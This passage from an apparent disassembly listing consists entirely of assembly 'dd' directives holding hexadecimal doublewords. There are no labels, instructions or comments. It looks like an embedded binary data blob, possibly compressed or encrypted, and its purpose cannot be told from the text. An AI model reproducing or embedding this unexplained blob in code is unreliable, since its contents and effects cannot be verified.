		dd 0CDC608Eh, 4DB1908Dh, 11A1BE0h, 6938A8h, 90C46A8h, 41056161h
		dd 20E9F0D1h, 0CC003FD9h, 924C645Bh, 73F549EAh,	62B3F60h
		dd 73F809CAh, 0EC27C10h, 1F5A41C4h, 0FCA164C8h,	980B526Fh
		dd 7CFB6D82h, 519F7C82h, 0DC608029h, 0E39537B4h, 0C00D9471h
		dd 60C1785Ch, 0ABC3410Dh, 35001E16h, 0B4D134FDh, 0B9C53774h
		dd 307C8C6Ch, 21004C61h, 482E839Bh, 0AC03E8h, 3F1202A8h
		dd 3DF7B5F9h, 24F42848h, 51609C37h, 0DDC18Ah, 20E1933Eh
		dd 7B5B2FAFh, 9268F758h, 0B80BE1Dh, 119110Eh, 40F8949Ch
		dd 0B073F7C2h, 6C597098h, 25288124h, 10846EDh, 0C4DCF74Ch
		dd 0C24B64FFh, 9C948783h, 545173BAh, 31F0D787h,	904B9E02h
		dd 74FFD4E8h, 1C80ACEAh, 155DE7D7h, 4581FC9Ch, 631928BDh
		dd 34B0360h, 0C8773596h, 28ED1718h, 64882114h, 431FC873h
		dd 6E4FD7h, 500E84B9h, 11E44843h, 59008279h, 0B3D86A4Dh
		dd 4C727190h, 1E05C5F0h, 0DC805BA2h, 9301DD28h,	2B90FEEEh
		dd 48677781h, 0B1467B1Bh, 0F49F7880h, 1093AF00h, 53425186h
		dd 2C8736Bh, 230154FDh,	0DC84CEC1h, 73B2407Ch, 1306B7D9h
		dd 281FDA96h, 608A7A18h, 0B882E9F4h, 0BD09458h,	0A0A28BD7h
		dd 900BE86Fh, 0FEEE9D58h, 572B39D8h, 4083209Dh,	120691FAh
		dd 2AE45C1Eh, 7874DB4Ah, 5BE23820h, 0D1C20043h,	0C581B8DAh
		dd 4D3FCE6Fh, 939512ECh, 0CF367460h, 40D09688h,	0E5F1832Eh
		dd 0A4A6DE00h, 6FBEAA8Dh, 7D8EC52h, 0EBF46ADDh,	8F34B4D3h
		dd 0BB900080h, 679A54A4h, 37F00338h, 3F2075E5h,	0C606DAD0h
		dd 871E93Fh, 0B89DF962h, 5808AA2Ch, 5400E6CEh, 9394F468h
		dd 96F0B0h, 6461EDB3h, 0F7C3F1EAh, 24182F49h, 7BE37C6Fh
		dd 5751006Eh, 14FC3B87h, 1B00DA71h, 88C0E37Fh, 307392D9h
		dd 36291EF4h, 8094F17Bh, 0B8404BBBh, 0A5558BA6h, 98C53E0Bh
		dd 3D3A9F00h, 0C2686661h, 0CBFC7558h, 0FB64B992h, 204A8829h
		dd 26911AF0h, 673C5702h, 0F7DABEh, 0BB2AB5D6h, 6DF30306h
		dd 22390AC5h, 0EB48265Bh, 39A0972h, 0B006800Eh,	1DD6928Dh
		dd 455D1691h, 829637CCh, 28493F20h, 8820627Fh, 836B807Bh
		dd 0DC66EB3Ch, 2BC24E00h, 2847D1F1h, 0CE0E008Dh, 91210A87h
		dd 25605C1Bh, 422AFE81h, 13AF3B0Ch, 0B6663880h,	1F594729h
		dd 51E30707h, 0F6103244h, 49C16888h, 5A8AB4D3h,	6F10E24h
		dd 2CA8A4A1h, 0F1A6F589h, 9E816E62h, 2C76701Fh,	20F67B13h
		dd 0B2E9D6F4h, 621F189Ch, 1600906Ah, 0B3E164BBh, 729C2025h
		dd 48B800B6h, 96540C85h, 94999E73h, 0D6703127h,	5B80EC3Ch
		dd 4A3C88C9h, 837EB51Dh, 0CE894B00h, 12B9D6B8h,	8EFC7C7Bh
		dd 205A1968h, 0EEC4F19h, 92641232h, 34E4D362h, 0C83566B0h
		dd 0D600E37Dh, 0CA0E1EACh, 93167422h, 817013A0h, 146EA2F4h
		dd 310774B2h, 0D60CF56Ch, 7845E0BDh, 4C1C5844h,	50C480A4h
		dd 380048F2h, 3BC659FDh, 0E80BDCCEh, 448262FBh,	3C330010h
		dd 0A98F87BDh, 0A4022E05h, 48FBA33Bh, 8B88590Ah, 0A819FA6Dh
		dd 7C2619A1h, 0BCF90F78h, 71E06BD5h, 0D244B7F4h, 19351803h
		dd 80BD80C4h, 55E9FDF2h, 980CE889h, 0E63775Fh, 0B18EB083h
		dd 0D093F780h, 6A1E999Fh, 2312C14Eh, 947CF84Ah,	0B40DF540h
		dd 82B64C1Ah, 0A4848A2Bh, 1B04017Ch, 1C928711h,	0A90D1CD2h
		dd 0AE0A7874h, 4B641A84h, 960AB818h, 62FEAF03h,	0C8532937h
		dd 227CEF1h, 0C0E222F0h, 58D871B8h, 83BC0A1h, 25680CE1h
		dd 7B4978E2h, 9FE8F958h, 82F0BB14h, 5A2664E2h, 365044ACh
		dd 8C0F622Ah, 8FEAF400h, 97075F5Eh, 0B0D71A4h, 0CD9DD506h
		dd 0D0EF1C19h, 0E40B25E9h, 0F02002h, 78756EFDh,	47833B40h
		dd 34B7A28Ah, 55AA4238h, 0E7D8C011h, 0EE1B2ED9h, 2162162Ch
		dd 0D89ED028h, 812C0685h, 73144F7Dh, 0AB4870B0h, 0E004D3B0h
		dd 68817760h, 4EDBD626h, 0D36C2099h, 8500F4ABh,	2AF1422h
		dd 9123247h, 288B3EBAh,	1705880Eh, 0D600C071h, 0AC01C7B4h
		dd 24A6CA05h, 9C608B37h, 5945644Fh, 27F18044h, 7E006805h
		dd 2048304Eh, 945B3E07h, 0E40480B0h, 781F3926h,	0A9305400h
		dd 0FCC2328Ah, 2788B84Ah, 24815FAEh, 1737CCEh, 0B18F0E61h
		dd 1C204B84h, 0C049F295h, 2831AA32h, 0F4460903h, 4B186B3Ah
		dd 0A4C0F024h, 39310694h, 308F2813h, 8F828ED1h,	30427B9Ch
		dd 4B3F6420h, 42006BB7h, 0DDB0F3CCh, 5C102938h,	4008100Bh
		dd 6E110525h, 7D9C007Ch, 9892B466h, 4C04F551h, 6ED9841Dh
		dd 0A45802AFh, 90C0F6F7h, 38B6095Ch, 0E31A3600h, 18C357Eh
		dd 31078901h, 404CE4C2h, 1E60AA44h, 13D08726h, 67EB1C00h
		dd 0E40F37Fh, 3A18D35Dh, 98C4F40Bh, 6474C546h, 27FE196Ah
		dd 62243A98h, 0E58D0030h, 4D874E72h, 0E037DA04h, 28986B64h
		dd 1070986Ah, 21241C1Bh, 0F88B81F5h, 975ACCA7h,	1437D7D0h
		dd 0D9162490h, 0DC860013h, 2064BC6Eh, 293D6AACh, 0E31D00FAh
		dd 0C4A2E60Ah
		dd 58A079A9h, 50D890h, 7C8A16B6h, 9008958Eh, 0C89BC5D4h
		dd 88140330h, 1F4E8D1Ah, 8119D435h, 341FC137h, 0EF26000Eh
		dd 631A894Ch, 43007CD8h, 3D3CBEC1h, 738EFE0h, 8DE72ECAh
		dd 7B3E6203h, 0D900B8E4h, 1AC32596h, 0A0F6FCA2h, 3969B2h
		dd 0CF2D8D8Ch, 2F288F70h, 0E87B370Ch, 5B256127h, 0F7F022D7h
		dd 0E4701912h, 0D2A4CCh, 26428EC7h, 0D104E6C2h,	842E3E01h
		dd 9463587Ah, 5F6DCF40h, 255300F9h, 9CA40FECh, 4EFA32AFh
		dd 0CB44EE1Fh, 3828D61Dh, 0F621E222h, 6BFF1437h, 5F10FC77h
		dd 0A84C702Eh, 2B7F800Ch, 0A03853FAh, 0F9772558h, 6A1FE800h
		dd 8FA3634h, 8F0010B2h,	0B7B8E93Dh, 83009C18h, 9B25BDB3h
		dd 0ED71D1h, 0E3C0F901h, 0EF2260F1h, 217782Dh, 202780ECh
		dd 0B2F934D6h, 0D467E900h, 43491315h, 246B78C2h, 0A347EBAh
		dd 29940DABh, 0CBC881F8h, 0FCFD27E7h, 2104A27Eh, 74B6CE0Ah
		dd 0C378C100h, 0C9DE48C8h, 72CD4A00h, 7B52FAh, 2204E8FFh
		dd 0E7035E1Ah, 2BAFBF00h, 56B90582h, 48530023h,	4D6F5579h
		dd 88012858h, 0DF606206h, 83C807Dh, 9640ED88h, 0A44C47DCh
		dd 0F30603BCh, 7EA2E1BEh, 0A1266180h, 4885B001h, 7F720FCh
		dd 385113FCh, 480173Eh,	0C0E883D4h, 6001A60h, 86638FDCh
		dd 0C18F8FEh, 6AB0D7C2h, 5C915AF9h, 0E8833C1Fh,	0B06F5C15h
		dd 834F40h, 1CC6B2C8h, 95F4926Eh, 7FC9DB00h, 0C2E770FEh
		dd 962D6E76h, 6DD46F00h, 0E2003D63h, 70689608h,	66972Ch
		dd 0B588F376h, 23C2D973h, 8BD75100h, 50EEC8Ch, 329000CBh
		dd 0FA6203A0h, 50067E6Ah, 919DD7D5h, 41F89619h,	0E4A9ACDBh
		dd 0C717375Fh, 4207E53h, 0EEAB4630h, 72010B13h,	0F0904CB6h
		dd 4A000B54h, 2024F8C7h, 14B810Eh, 0FB1BDC67h, 305FECB8h
		dd 0FE0B72B0h, 0E8BB2671h, 246E8D90h, 80283681h, 6D987B05h
		dd 8604CFDEh, 68F44FD4h, 0CFB8891h, 4CEC3015h, 2D078457h
		dd 0B404E3ECh, 4473D130h, 3C090028h, 6DC66CABh,	0C17B0797h
		dd 80AC204Ch, 9E6864D1h, 7AF8B04Bh, 0D460E99Bh,	0C3078438h
		dd 2F377003h, 0B2EFD9A0h, 7ED6055Fh, 81B043FAh,	7CD33F18h
		dd 20518068h, 1FEB791h,	75E13E47h, 0E0137BF3h, 70358AF6h
		dd 0E898607Fh, 0C89011FBh, 0AC1C005Bh, 0B07C86B5h, 7B34135Dh
		dd 18CC31E4h, 80702C7Eh, 13CED2AEh, 0E1A70561h,	89CF9F4Bh
		dd 11B821ACh, 7232F034h, 0D5DC0CBCh, 2A9B1866h,	285E3Bh
		dd 0B8651714h, 9C7B9D22h, 0D136CF1Ch, 3CCA4CC0h, 2591A9D9h
		dd 9818EE1Ah, 0EBF0BDA7h, 0B45943Eh, 4164F2ABh,	0D107A60h
		dd 2D01A550h, 0FFECE958h, 40600C63h, 0D4E7007Fh, 46521770h
		dd 0CC002D1Bh, 1245D7EBh, 1A59CDh, 6D88E37Ch, 0CA5E5A76h
		dd 0C95B9C03h, 0A2482068h, 2C214008h, 950301E6h, 2199B689h
		dd 861881D5h, 18797776h, 108009D5h, 0ECE145Ch, 3000CD7Dh
		dd 2A2FD526h, 4099FEBAh, 6EF05272h, 9DB84B00h, 5F39CB3Fh
		dd 0EEAF0271h, 437B5384h, 3C243D7h, 0BE8A5579h,	0ACA02D9Fh
		dd 0C700CE2Ah, 27B2962Fh, 77B115h, 0ABBADD09h, 0C33DA658h
		dd 3D1F93Fh, 0B276701Dh, 8D4800D7h, 25852C67h, 29EE6EE8h
		dd 888BCA00h, 979DF3A6h, 50A97C1Bh, 1F8E82C9h, 0B0FEE9A4h
		dd 9AFFC6B1h, 2B65E8F7h, 8F474800h, 9EEBA202h, 89763B7Ch
		dd 545C1A80h, 8CD7683Dh, 8381660h, 0C0D43F20h, 0F97775C9h
		dd 10DFD273h, 0C6ADA20Eh, 0F21DF1Fh, 625010AFh,	84E33EA0h
		dd 65009A99h, 21A9358Ch, 368E475h, 47ED66C1h, 0B0CF03EBh
		dd 7A2F8765h, 0A9B1C40Eh, 0FE8B408Fh, 5802CE68h, 3A02D352h
		dd 8EFEB5Dh, 4B4AE490h,	0B3A51E04h, 9DC3D6ADh, 2E974AFh
		dd 6F4DB80Eh, 0F4604C71h, 7600C622h, 7F925997h,	15DFC5C8h
		dd 8A75B38h, 0D1723006h, 2600D91Fh, 0CAE78CF1h,	3BBF5Dh
		dd 0B0B9A25Ch, 0CFF550B2h, 29DB1F30h, 0E224F215h, 564D008Fh
		dd 0F9047B18h, 24909598h, 0ACFA3F01h, 0A2FE91D2h, 0BAFBA180h
		dd 29E96CE8h, 8E3A0E3Bh, 5F8F5802h, 90CA740h, 0F7538ECh
		dd 5D33C85Bh, 54BDD2E1h, 0B541849Dh, 5C90249Ah,	5D3520Eh
		dd 0AEC5C75Bh, 0AF0C0977h, 0FC3D288h, 0D00D0A1h, 0A62016E6h
		dd 0BC81A0A4h, 6811CC5Dh, 0FC613E0Ch, 3A761A4h,	931BFD4Ah
		dd 6E98846Dh, 0D10447C0h, 0D66BF636h, 0C3C23F04h, 7174273Ch
		dd 1D231A03h, 0AEFD69h,	0D6B56549h, 79925C3Eh, 67E0A703h
		dd 1A52491h, 6E53C091h,	22222FD7h, 0C8321134h, 0F035D61Fh
		dd 40EA7019h, 0A0A8AE00h, 5EFCD7CBh, 0BB240EB4h, 9F6B0Fh
		dd 7D1E2F61h, 0EFEA3EE4h, 534E8C14h, 47007EA2h,	64DA8DD8h
		dd 30E52Ch, 9A16798Fh, 0BF7B4F06h, 28302060h, 56D895Eh
		dd 0D12CDED6h, 5BB780FEh, 0EE132D78h, 1BE11D5h,	0E48D4F3Bh
		dd 8B14F8D1h, 88B5A032h, 8F490C0Dh, 2EBF6C00h, 0D676BAC6h
		dd 0A08801B8h, 0DF6461Ah, 0AE144369h, 0B0A680F3h, 0C33B0313h
		dd 0CCA91B05h, 0C792400h, 306DBE55h, 8DD929E4h,	0F8070115h
		dd 60EDE9EAh, 0A3DC4820h, 4BB603EBh, 80A0D62Ah,	9960BF8Bh
		dd 4D904258h, 8E1E0A21h, 608D2B7h, 5930F99Eh, 9AB9291Bh
		dd 6D4FC078h, 2EF40119h, 0BC64C5ADh, 0D6A8C40Ah, 3AD70BFh
		dd 8E468D4Eh, 0C1007CF4h, 0E5EE6F6Dh, 328BFCh, 3649DC81h
		dd 9B335B7h, 0BE2064F8h, 34BF19EAh, 1038E8BBh, 0C08E143Ch
		dd 2CD66C49h, 31EEBD18h, 5FD19914h, 3E090514h, 0A8C039B6h
		dd 0F3B97FE9h, 0B20F1450h, 26A10E15h, 0F80A9EC5h, 92213D6Ch
		dd 1933E50Ch, 4D682818h, 1AB600F4h, 0A82566Fh, 0AE002241h
		dd 0E63F5BF6h, 0C7B46DECh, 5BE3CB0h, 0FD82298h,	0E016B641h
		dd 0F3288B0Ch, 4A26B407h, 0DB143905h, 6C0D1414h, 90A481F8h
		dd 0EC41E4A0h, 4CD4DF15h, 884493Fh, 0D22D1780h,	62148D9Ah
		dd 108FEAFh, 29274F37h,	9EE479C8h, 8C61C207h, 0E2203A5Fh
		dd 4FC94Eh, 8D1D793Bh, 5B07A960h, 549C31Ch, 60D6AF8Ah
		dd 90206990h, 3CCBE704h, 649851C3h, 0E54C1812h,	1876934h
		dd 7DE6B000h, 23B58416h, 25F7009Bh, 35BBD478h, 51F364B6h
		dd 8081F4B4h, 65B41469h, 0E4E6807h, 0E0A0AB2Dh,	2980D840h
		dd 31C7EDAFh, 0D7E0C3E4h, 0D42A7E90h, 17080C71h, 0E50D3775h
		dd 0ACE0195Ch, 337E0E15h, 0B06B723Eh, 0ABC6CF80h, 5900E255h
		dd 57DE2E9Ah, 48FDA360h, 516A089Ch, 0C1600h, 0AC6DE7F3h
		dd 0FC7B736Bh, 0C7B20CFh, 602629E2h, 896931A3h,	9F003FF0h
		dd 0C64F2904h, 90F51994h, 4E880340h, 345F8284h,	9EE63900h
		dd 43015D8Bh, 0FA9000ABh, 0BC3A4731h, 0F800EC24h, 0C749F18Ch
		dd 36CCA2Ch, 0DCB771B6h, 7BD991FEh, 724432BEh, 0ABCB4C05h
		dd 88068BE7h, 919D26h, 0D02110C6h, 8F081C0Eh, 708D3100h
		dd 0D59837A8h, 0DA3E071Dh, 0BCB46BADh, 7A157BF8h, 0B4AAB6h
		dd 1E01D637h, 0EF829D33h, 48A02911h, 6C74E7C4h,	0F308BA50h
		dd 4FABF900h, 2B297561h, 0C8BC00EEh, 259231A5h,	0B41F263Ch
		dd 389EBAD7h, 0E599D6C3h, 0DA590035h, 0CC6BAB4Dh, 20EB70Ah
		dd 7C8390F9h, 76913180h, 0E03D8F29h, 0D7AE00D6h, 647ECA9Ah
		dd 0F32A71A4h, 490B0830h, 800D4F8Bh, 0E913651Dh, 26F37D8Eh
		dd 93289DD7h, 40741FECh, 24362BC3h, 30CE4595h, 19778054h
		dd 30092237h, 29F8C06Ah, 0E1C49CA3h, 549787F4h,	9643E2F1h
		dd 2BC12C0h, 0FCBED50Ch, 0B842CB24h, 802B6D41h,	1CF3A2D9h
		dd 0F3DEE2A9h, 198F32F1h
		dd 4A40427Ah, 57A3E0D3h, 0B5F37600h, 1A746371h,	462C1CD8h
		dd 0F48F54A0h, 6FC2E80h, 0E8049636h, 0A327709Ch, 49F00540h
		dd 0F277E2FAh, 0D155D600h, 165DE596h, 3771C336h, 88D54515h
		dd 4C7F400Ch, 0CE935E00h, 340DAC32h, 5658091Bh,	0F0029273h
		dd 0F8406DA4h, 0FA0074B4h, 0F3A8972Fh, 1885BCD0h, 99C9B67Bh
		dd 36185C8Fh, 9F11325Eh, 417F005Dh, 8AC2EC44h, 87001FE0h
		dd 0C3E1C4B2h, 7EAFA0Bh, 9727766Dh, 43CC57Bh, 880D9E24h
		dd 760BCA34h, 3D7B877h,	50B57BB0h, 0F0554C19h, 0EEF428ABh
		dd 98272AB8h, 0D18D0084h, 3DC96E3Eh, 0BB00DCB6h, 4EB0E0E6h
		dd 3C32B07h, 222CC01Ah,	8DF834F5h, 0E8A878F4h, 810011A5h
		dd 97EBE0E4h, 24B2856Ah, 22B4A2DFh, 13CC843Ch, 1C71A098h
		dd 205E93F4h, 3667CE18h, 0CBBC6600h, 18F74F63h,	382C5895h
		dd 5A211848h, 0E7079411h, 0D34632h, 6C0F48FAh, 7158E530h
		dd 2D2C41h, 0FDD37B17h,	3254FBA4h, 905A2700h, 0D18F6528h
		dd 0FA52034Ch, 0A739AAC2h, 2BEC2CA8h, 8C30F214h, 0B36B006Ch
		dd 0CB78A151h, 137200B5h, 5CAE854Fh, 29DD9626h,	41ABCA40h
		dd 7988B284h, 0CDB0A139h, 60F4CC48h, 0A7895179h, 60075612h
		dd 84ABAE3Eh, 0E0F569C2h, 331864C0h, 8DF03499h,	0C8313Dh
		dd 8F6C9B77h, 7174A94h,	49D1DC5Bh, 79526006h, 355CEA71h
		dd 2C7000F2h, 0F5C22AE4h, 0A78C00A4h, 0DEEE16A8h, 77048DECh
		dd 20019E88h, 86A244C8h, 26D76D08h, 7C08808Bh, 0BA68DF21h
		dd 62273Ch, 47112A4Ah, 77F72C2h, 8D262214h, 2B6E05Ch, 0E517ECBBh
		dd 4600E88Eh, 5B1BBC4Ch, 0ACE600AEh, 0D3501D34h, 0FE00A09Ah
		dd 0BF6ECB2Ah, 7AA98F3Ch, 2E0C00AAh, 6B634D9h, 6A001504h
		dd 0E2DD1452h, 0B9866F3Ch, 0B8C90F54h, 0D7F70B60h, 0D60269CEh
		dd 29FD77F2h, 0B88BE362h, 0F85381AEh, 0C68031Ch, 23B1D152h
		dd 78247D8h, 6C485898h,	16804260h, 543097B8h, 1E5D7A7Fh
		dd 45AD636h, 0C8276607h, 9900825Ch, 53B643A4h, 0E01EDF7Dh
		dd 0EA4B000Bh, 0FAFD7A25h, 54FCBE6Dh, 0D049F58h, 69B47BE4h
		dd 0E46EC30h, 49C81D0Bh, 4A65B620h, 0C2179A4Bh,	1700D36Ch
		dd 46E72D43h, 0E9050EE4h, 0D74E472Bh, 45E66C80h, 5901A99Eh
		dd 0DA81EAD6h, 0E4411E52h, 4F002065h, 0A909AEAFh, 0ED00B63h
		dd 3C08B13Ch, 14A48323h, 6C904822h, 64EEBA00h, 991A7662h
		dd 6F660ED3h, 6DE081CDh, 0DAE3A3C6h, 80C26C3Fh,	0B652DC9Bh
		dd 9F201Eh, 0DEBC1555h,	368646E2h, 1781E091h, 1E746EB4h
		dd 5C11DCFCh, 409D506Ch, 39FCB5DAh, 2D68364Dh, 18060858h
		dd 4829A226h, 5F00CA93h, 0D8B058FDh, 6304D96Fh,	3C452947h
		dd 0B76C8C80h, 0E8F5581Ch, 55B80700h, 679F21Eh,	4C8F7105h
		dd 7401A87Bh, 1498F42Bh, 1FC810A3h, 8C851536h, 5418800h
		dd 144FD6Bh, 5F99D109h,	3D8CA34Ah, 0A8D0EC15h, 0C7315E6Ch
		dd 0D0160E41h, 0B6D2601h, 0CA4D5Ch, 5CBEB81Dh, 1FDE8Dh
		dd 328164C2h, 8ECC54B6h, 0A00D5F26h, 8992400h, 53352C7h
		dd 7E424CB8h, 69C88051h, 0FC133D2Ch, 0AC0845A5h, 0D4978082h
		dd 0ECCDB7FDh, 0C010D04Ch, 0F411BC6Ch, 0B529C17Ah, 0C45295B3h
		dd 6A14F641h, 16DB429Bh, 0C1C4C71h, 400F3611h, 357D76Fh
		dd 0E8B56C2Ch, 8FA71FC5h, 0D6E2109Fh, 0BC44223Ch, 87BCC499h
		dd 0D52D55FBh, 0CD8EDFF0h, 0BCB400D2h, 9C3F76E7h, 0E60089C3h
		dd 6C1771BDh, 98EBDFDDh, 7B7033Ch, 0FAFB9EB2h, 0D87FCDE0h
		dd 0B6571400h, 0CA668B1Fh, 0C4B4041Dh, 0C8213CEFh, 770FD17Ch
		dd 58E59F60h, 26E27C81h, 0B5A5CA8h, 0E0049D27h,	86604096h
		dd 77C0EC3Fh, 114629B6h, 40C81C94h, 0A30E82AEh,	7B06BCEAh
		dd 894C09B9h, 0C8EC5D38h, 8DE511h, 3268010Dh, 153D8417h
		dd 8437D818h, 90E603C0h, 961998C8h, 5692D577h, 7DB6FCh
		dd 93D09DB4h, 276EDB6Ch, 0BE536500h, 0ACD4EEEh,	9ADC0021h
		dd 0F455F6B7h, 9E18C52Ah, 5F595DF9h, 30923Eh, 0ADE79534h
		dd 0D081A0B3h, 17F47612h, 7BCFC402h, 0C9E446B0h, 20688D34h
		dd 3671DC46h, 0E5470513h, 0F3B0CC90h, 0A5E80052h, 6D903222h
		dd 111714E3h, 0D007D0FEh, 0E9D1134Fh, 1182CA73h, 3307AA2Dh
		dd 445C986Eh, 0AB57C498h, 0EE49B3C1h, 247A1ECh,	5FE130F1h
		dd 1C995B07h, 25F4DCC8h, 9E979505h, 78083204h, 4EB98338h
		dd 0A1F294ACh, 4F8DE1FFh, 3E624920h, 24A8511Dh,	0D7284494h
		dd 6631A714h, 701405CCh, 28C0AE0Ch, 1CC08A52h, 0C0DAE081h
		dd 4F239236h, 2D0B510Dh, 980FDE46h, 7CA1974h, 3D2A246Ah
		dd 0A74CA0E1h, 0AA4BD7ABh, 80A00008h, 361A12A2h, 3A016BE8h
		dd 0AE71F4D8h, 48704F78h, 0A2448430h, 536700B2h, 0D9ED4998h
		dd 9101BA8Dh, 8ECF6E11h, 5C72AF29h, 930C9E12h, 9AF0C8DCh
		dd 0D700A201h, 4D1F2A9Dh, 4664674h, 7F34C13Bh, 0C5C0EFD9h
		dd 71BC9EEFh, 0C618C0E4h, 28DA8D3Bh, 241FE576h,	5E00C77Fh
		dd 9770B7EAh, 0EBBA07ADh, 0E70575F9h, 0F478B0E9h, 0A3307181h
		dd 0C6C758F3h, 921CA01Ch, 1DDF00C5h, 11BF6E8h, 1700B2D5h
		dd 9C6F7E2Ah, 0E1266AFh, 0C8FF82B7h, 87E40057h,	0C49DB5B4h
		dd 316315Ch, 678F19C6h,	0A5B90035h, 40AAEA51h, 0F600A6B1h
		dd 0F323C736h, 0ECC5D96Bh, 0C08D03FBh, 373FA271h, 0D439881Eh
		dd 0A1E9B80Ch, 0E09F45F0h, 0A961C082h, 473CA129h, 0D3E21981h
		dd 0E8FB3907h, 1F036435h, 98DA96E6h, 0D1890022h, 1E47168Ah
		dd 300732B4h, 2AF5E579h, 0C7899EC0h, 59BE185Ah,	0C2F45173h
		dd 5CABED01h, 7C9DA51Bh, 2093F0D0h, 70143899h, 88A0EFB8h
		dd 0FF508010h, 980676A6h, 0A5A7130Eh, 0BC242194h, 0D8501946h
		dd 0A23D8D2Bh, 49D4605Ch, 73DC001Bh, 6E4E3EA0h,	0F81886A1h
		dd 9661F4CEh, 0D60F0066h, 1AAF1BF0h, 923C8F68h,	6AA818D8h
		dd 7B461F49h, 0F904052Dh, 206E3DF3h, 172D48Ch, 0C4A492Ch
		dd 0B2A51600h, 7FFAD33h, 0E6614480h, 117EF074h,	82012AEFh
		dd 0F3123FF2h, 0B4403EA5h, 38F04E7h, 0E5B5A999h, 1901BC71h
		dd 59D5A3C7h, 0A9BEED74h, 0F3FC6909h, 3DB4F780h, 8CA81DC6h
		dd 0D7570E8h, 37C81200h, 0EB88B156h, 80630177h,	0AFFDC0C6h
		dd 20B044D3h, 72F28BF4h, 29539D07h, 177313EBh, 0D93000C0h
		dd 0D897A3F0h, 9F883749h, 6C1B1374h, 72600168h,	89F53DA1h
		dd 202366D0h, 21FEF900h, 36A7649h, 0C7A8878Eh, 0C6C1DD37h
		dd 0E549821Eh, 60915434h, 3C1B6D2Dh, 19FF01B9h,	49C6F913h
		dd 0B423CAh, 8FDC1887h,	1C2DD220h, 43625C4h, 0C0F848ECh
		dd 76FB9DF1h, 7126D607h, 54B3C0CAh, 0CEA924D1h,	0AD8340C0h
		dd 90078DB9h, 253CB888h, 688E4940h, 0C0807C05h,	0ED7BF502h
		dd 90A8793Dh, 0B4002FC3h, 12773E13h, 7B826149h,	5873B96h
		dd 2826CC98h, 5C90449Dh, 39779F31h, 0C9802C66h,	34D06F5h
		dd 0A1EFAD7h, 0F180BD68h, 7E87EF1Ch, 0A8493C35h, 63A05F89h
		dd 0C40345E2h, 413C20F0h, 0FEC160CEh, 8F7B16h, 8A81C360h
		dd 0B15328BEh, 354A4C01h, 0DBA29BDEh, 0C198D4h,	26D04632h
		dd 74475F06h, 383C9100h, 0EBD5FE0Dh, 0EA40013Dh, 0E7294586h
		dd 5ECC48C9h, 229FE80Fh, 4F003CDDh, 0F3702902h,	0DC4B06A0h
		dd 0E1643DA3h, 153CB700h, 2D0BE38Fh, 0F6C40076h, 0AEF119E7h
		dd 8600E9A3h, 0FDD58B7Eh, 17CD2FBAh, 0AFA12D6Eh, 7BF07102h
		dd 9FAC40ADh, 0A0008478h, 4DD6CACFh, 0AAFD5A7h,	689CF059h
		dd 6A240A10h
		dd 3D18BC84h, 40E3197Ch, 0A90FD870h, 804D9B29h,	71D55CC6h
		dd 827499A1h, 93BAF236h, 20E71041h, 41C7465Bh, 8BB0D1BCh
		dd 0A0A14D3h, 7524CBABh, 0BB483134h, 0BE119FE8h, 8529D340h
		dd 0A961E37h, 2866633Bh, 5D3880D4h, 0C4D1335Ah,	0FE402900h
		dd 0A0C27DDAh, 0C7E701DBh, 0FD8C9BF7h, 0CDC228Bh, 896990F0h
		dd 58BC5470h, 0CADB00D5h, 247D547Eh, 7CA11F6Dh,	0F8201371h
		dd 0FE4EB50Bh, 0EB9912ECh, 48C4111Eh, 22687703h, 1DE03550h
		dd 0F500D298h, 47850774h, 0F2B8600Ah, 36CB328h,	3767803Ah
		dd 0BBB34100h, 7BF16E8Ch, 9BA0004Ah, 0C979A1D7h, 1600F25Fh
		dd 49CAEA96h, 135B5A2h,	7F03DF87h, 0E5FC226Dh, 0E23DCC9Ah
		dd 0D1808901h, 0F8701082h, 0B03A2CE4h, 0B781483Ch, 7B26704Ch
		dd 0AFA1406Ch, 0E678D073h, 0E2701101h, 41E71E71h, 764DA8C7h
		dd 0C727F74h, 2BDBB16Ch, 90A17EF0h, 0D402D212h,	9A608398h
		dd 0FC54F08Fh, 722600CFh, 0A480A065h, 0B50F1AC9h, 0BEAC8785h
		dd 5476E5C0h, 1E8EDA60h, 0C4A24DD5h, 0C12D6D1Bh, 11399FFCh
		dd 84326B24h, 7C9B6454h, 72F00983h, 0DC224591h,	0F4116FF3h
		dd 0E241E910h, 0B8245D00h, 7AEAB3B6h, 6538C4E1h, 21032250h
		dd 7169A1CAh, 4A77CB5h,	76320192h, 0F813A080h, 0AAF02C65h
		dd 3AD741A0h, 0E62BEC5Dh, 0A126C630h, 266B06C2h, 8654BBh
		dd 0C9D59B0Eh, 0E8E9865Bh, 60042D96h, 0C5131C34h, 233B8C8h
		dd 1B4C9FB1h, 308168BEh, 85F2A070h, 7292F0C9h, 10470C0Bh
		dd 28996650h, 0F8C82CD3h, 9D18A9BAh, 1484BC0Ch,	0D86017C6h
		dd 0F5802A88h, 6F4ECF67h, 2DED00BCh, 87D5F744h,	690E6D37h
		dd 1C6A66CBh, 8A00F0E9h, 0DF45E517h, 40D4005Eh,	720C4E0Bh
		dd 900B6E8h, 0CA97593Ah, 188C9FFh, 63A21FAEh, 64109AA3h
		dd 49CF3A74h, 8382E0E7h, 567C0D8h, 8103BA96h, 0B8CC1864h
		dd 38ABCBBh, 3F2DFCC0h,	144C2439h, 0FBA4DC0h, 1C926EF3h
		dd 0DB7C5A54h, 98A129C9h, 48C5FB5Ch, 4F00B975h,	0E6A80C31h
		dd 0A207B4F0h, 0F22F9FAAh, 58C4F514h, 22057C82h, 0D891FF13h
		dd 8941D43Eh, 0FEF8ECB0h, 0BE4C2350h, 0FFF32A45h, 66080C4Ah
		dd 608CAC21h, 0D8376A51h, 7E02E9E6h, 0FBBA4C52h, 99804807h
		dd 40C74501h, 0D89E9DC0h, 81366780h, 70F3017Fh,	44FB7195h
		dd 0FD904121h, 1D03B881h, 0B3B04C43h, 64C602F9h, 17890074h
		dd 5BDC4E7Bh, 3700FF79h, 99721DDAh, 1D6F04Ah, 4BE91F2Ah
		dd 0CCD0A89Eh, 0C55CE73Dh, 0CE4C7C5Ch, 442B80D8h, 6B6DB38h
		dd 0C6E75698h, 0AA3B6127h, 7C3580ACh, 6FFCF1EFh, 45DD00BBh
		dd 28055AEDh, 55589E09h, 0D8A91D54h, 8A22C8A8h,	56D2AFCh
		dd 0F46C2EBCh, 77A50083h, 0F2123E2Dh, 5880BE52h, 22B84296h
		dd 131006Dh, 44122A78h,	0E00844Dh, 96E3A72h, 3D56FC28h
		dd 99844F7Bh, 92D7B6E4h, 0A120AEA8h, 5466C560h,	7E289Eh
		dd 17DFBF72h, 0DA79DD19h, 0B6F18101h, 43FB49D0h, 139C42A0h
